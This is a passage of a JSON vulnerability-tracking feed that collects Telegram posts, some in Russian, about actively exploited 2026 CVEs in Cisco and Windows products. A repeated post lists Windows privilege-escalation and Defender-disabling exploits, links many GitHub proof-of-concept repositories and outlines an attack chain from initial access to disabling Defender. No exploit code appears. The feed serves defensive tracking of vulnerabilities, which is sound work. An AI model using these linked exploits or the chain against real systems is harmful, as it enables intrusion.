\u0441\u0442\u0430\u0442\u0443\u0441 Critical, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 High \u043f\u043e CVSS. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0430 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e CISA \u0443\u0436\u0435 \u0432\u043d\u0435\u0441\u043b\u043e CVE-2026-20045 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043a \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u0443\u0433\u0440\u043e\u0437.\n\n\u23f0 \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u0442\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043f\u0430\u0442\u0447\u0435\u0439. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u044d\u0442\u043e \u0443\u0436\u0435 \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0443 Cisco \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0434\u043d\u0438.\n\n#cisco #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:09.465481Z"}, {"uuid": "a2edc46d-4040-42a9-ba30-2e77886cc5cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "exploited", "source": "https://t.me/cyberwarehouse/1128", "content": "\ud83d\udea8 CISA added CVE-2026-20182, a CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN Controller, to its KEV catalog amid active exploitation.\n\nRemote attackers can gain admin privileges. FCEB agencies must remediate by May 17, 2026.\n\nFull details: https://thehackernews.com/2026/05/cisa-adds-cisco-sd-wan-cve-2026-20182.html", "creation_timestamp": "2026-07-27T00:00:34.830478Z"}, {"uuid": "130649d2-19e0-4c9f-b312-4e68b66e6616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17200", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:04.554563Z"}, {"uuid": "36869b5f-c034-41bf-a09e-dd2163b7bd78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17200", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udea8 Windows Zero-Day & Related CVEs (PoC Included)\n\n\ud83e\udde8 1. BlueHammer (CVE-2026-33825)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: User \u2192 SYSTEM privileges\n\u2022 Features:\n   \u2022 Exploits Windows Defender update mechanism\n   \u2022 TOCTOU + Path Confusion\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Used in real-world attacks\n   \u2022 Patched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/BlueHammer\n\n\ud83d\udd25 2. RedSun (Windows Defender Zero-Day)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Impact: SYSTEM privileges\n\u2022 Features:\n   \u2022 Reparse Point + file overwrite\n   \u2022 Abuses Defender logic\n\u2022 Status:\n   \u2022 PoC publicly available\n   \u2022 Actively exploited\n   \u2022 Unpatched in some environments\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/RedSun\n\n\u2620\ufe0f 3. UnDefend\n\u2022 Type: Defender Disable / DoS\n\u2022 Impact:\n  \u2022 Blocks Defender updates\n  \u2022 Disables security protections\n\u2022 Features:\n  \u2022 Works with standard user privileges\n  \u2022 Critical in attack chains\n\u2022 Status:\n  \u2022 PoC publicly available\n  \u2022 Partially unpatched\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/Nightmare-Eclipse/UnDefend\n\n\ud83d\udca5 4. CVE-2026-20841 (Windows Notepad RCE)\n\u2022 Type: Remote Code Execution (RCE)\n\u2022 Condition:\n   \u2022 Opening a malicious Markdown file\n\u2022 Features:\n   \u2022 Improper input validation\n   \u2022 Multiple PoCs available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/404godd/CVE-2026-20841-PoC\nhttps://github.com/dogukankurnaz/CVE-2026-20841-PoC\nhttps://github.com/hackfaiz/CVE-2026-20841-PoC\nhttps://github.com/tangent65536/CVE-2026-20841\nhttps://github.com/SecureWithUmer/CVE-2026-20841\nhttps://github.com/EleniChristopoulou/PoC-CVE-2026-20841\n\n\ud83d\udd0d 5. CVE-2026-20805 (DWM Info Leak)\n\u2022 Type: Information Disclosure\n\u2022 Features:\n   \u2022 Used in exploit chains\n   \u2022 Provides leak primitives\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/fevar54/CVE-2026-20805-POC\nhttps://github.com/Uzair-Baig0900/CVE-2026-20805-PoC\n\n\ud83d\udca3 6. CVE-2026-29923 (BYOVD LPE)\n\u2022 Type: Local Privilege Escalation (LPE)\n\u2022 Features:\n   \u2022 BYOVD (Bring Your Own Vulnerable Driver)\n   \u2022 IOCTL-based SYSTEM privilege escalation\n\u2022 Status:\n   \u2022 PoC publicly available\n\n\ud83d\udccc GitHub PoC\nhttps://github.com/athenasec16/CVE-2026-29923\nhttps://github.com/Smarttfoxx/CVE-2026-29923\n\n\ud83d\udda5 7. CVE-2026-23668 (Windows Graphics)\n\u2022 Type: LPE / RCE\n\u2022 Features:\n   \u2022 Race condition vulnerability\n\u2022 Status:\n   \u2022 No public GitHub PoC (as of now)\n\n\u26a0\ufe0f Example Attack Chain\nInitial Access (Notepad / MSHTML)\n        \u2193\nInfo Leak (DWM - CVE-2026-20805)\n        \u2193\nPrivilege Escalation (RedSun / BlueHammer / BYOVD)\n        \u2193\nDefender Disable (UnDefend)\n\n\ud83d\udccc Key Takeaways\n\u2714\ufe0f Confirmed GitHub PoCs\n\u2022 BlueHammer\n\u2022 RedSun\n\u2022 UnDefend\n\u2022 CVE-2026-20841\n\u2022 CVE-2026-20805\n\u2022 CVE-2026-29923\n\u2714\ufe0f Full attack chain possible\n\u2192 Initial access \u2192 Info leak \u2192 Privilege escalation \u2192 Defense bypass\n\u2714\ufe0f Current risk level\n\ud83d\udc49 Defender-related vulnerabilities included\n\ud83d\udc49 Some remain unpatched\n\ud83d\udc49 Practical real-world exploitation possible\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:04.592445Z"}, {"uuid": "9fa8d5e8-5522-4912-9234-eadbb8239875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://t.me/ZerodayAlert/604", "content": "\u041f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435\u0441\u044c Windows Server? \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435, \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0430 \u043b\u0438 \u0443 \u0432\u0430\u0441 \u0434\u0432\u0435\u0440\u044c \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0443\u0436\u0431\u0443 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438\n\n\ud83d\udee1\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2026-20931, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0421\u0435\u0440\u0433\u0435\u0439 \u0411\u043b\u0438\u0437\u043d\u044e\u043a \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b PT SWARM (Positive Technologies). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 8,0 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e CVSS 3.1 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u043b\u0443\u0436\u0431\u0443 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 TapiSrv \u0432 35 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Windows Server \u2014 \u043e\u0442 2008 \u0434\u043e 2025. \u0411\u0440\u0435\u0448\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\u26a0\ufe0f \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0443\u0447\u0451\u0442\u043a\u0430 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u0430\u044f \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 \u0441\u043b\u0443\u0436\u0431\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 \u2014 \u0447\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0434\u043a\u043e. \u041e\u0434\u043d\u0430\u043a\u043e \u0442\u0430\u043c, \u0433\u0434\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0430, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435, \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u2705 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447 \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u0441\u043b\u0443\u0436\u0431\u044b \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438.\n\n#\u0432\u0437\u043b\u043e\u043c #zeroday #PositiveTechnologies\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:33.040953Z"}, {"uuid": "10c08ed5-86ef-4139-b48c-bf3236492f45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "exploited", "source": "https://t.me/ZerodayAlert/603", "content": "Microsoft \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e 0Day \u0432 Windows\n\n\u26a0\ufe0f CVE-2026-20805 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0442\u0435\u0447\u043a\u0443 \u0430\u0434\u0440\u0435\u0441\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 ALPC-\u043f\u043e\u0440\u0442. \u041f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 \u0432\u0441\u0435\u0433\u043e 5.5, \u043d\u043e Microsoft \u0438 CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\ud83d\udd17 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u044e\u0442, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0443\u0442\u0435\u0447\u043a\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u044b\u043c \u0437\u0432\u0435\u043d\u043e\u043c \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0430\u0442\u0430\u043a. \u0423\u0437\u043d\u0430\u0432 \u0430\u0434\u0440\u0435\u0441\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 ASLR \u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043d\u0435\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u0443\u044e \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\ud83d\udccb CISA \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 Known Exploited Vulnerabilities \u0441 \u043a\u0440\u0430\u0439\u043d\u0438\u043c \u0441\u0440\u043e\u043a\u043e\u043c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f 3 \u0444\u0435\u0432\u0440\u0430\u043b\u044f. \u0414\u0435\u0442\u0430\u043b\u0438 \u0430\u0442\u0430\u043a Microsoft \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u044f\u043d\u0432\u0430\u0440\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\n#windows #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #cisa #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:33.081282Z"}, {"uuid": "db158227-8b69-4a41-9feb-ac0d27d6d620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "exploited", "source": "https://t.me/ZerodayAlert/608", "content": "\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 Cisco\n\n\ud83d\udd34 CVE-2026-20045 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439: Unified Communications Manager, Session Management Edition, IM & Presence Service, Unity Connection \u0438 Webex Calling. \u0411\u0430\u0433 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u26a0\ufe0f Cisco PSIRT \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u0442\u0443\u0441 Critical, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 High \u043f\u043e CVSS. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0430 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e CISA \u0443\u0436\u0435 \u0432\u043d\u0435\u0441\u043b\u043e CVE-2026-20045 \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043a \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u0443\u0433\u0440\u043e\u0437.\n\n\u23f0 \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u0442\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043f\u0430\u0442\u0447\u0435\u0439. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u044d\u0442\u043e \u0443\u0436\u0435 \u0432\u0442\u043e\u0440\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0443 Cisco \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0434\u043d\u0438.\n\n#cisco 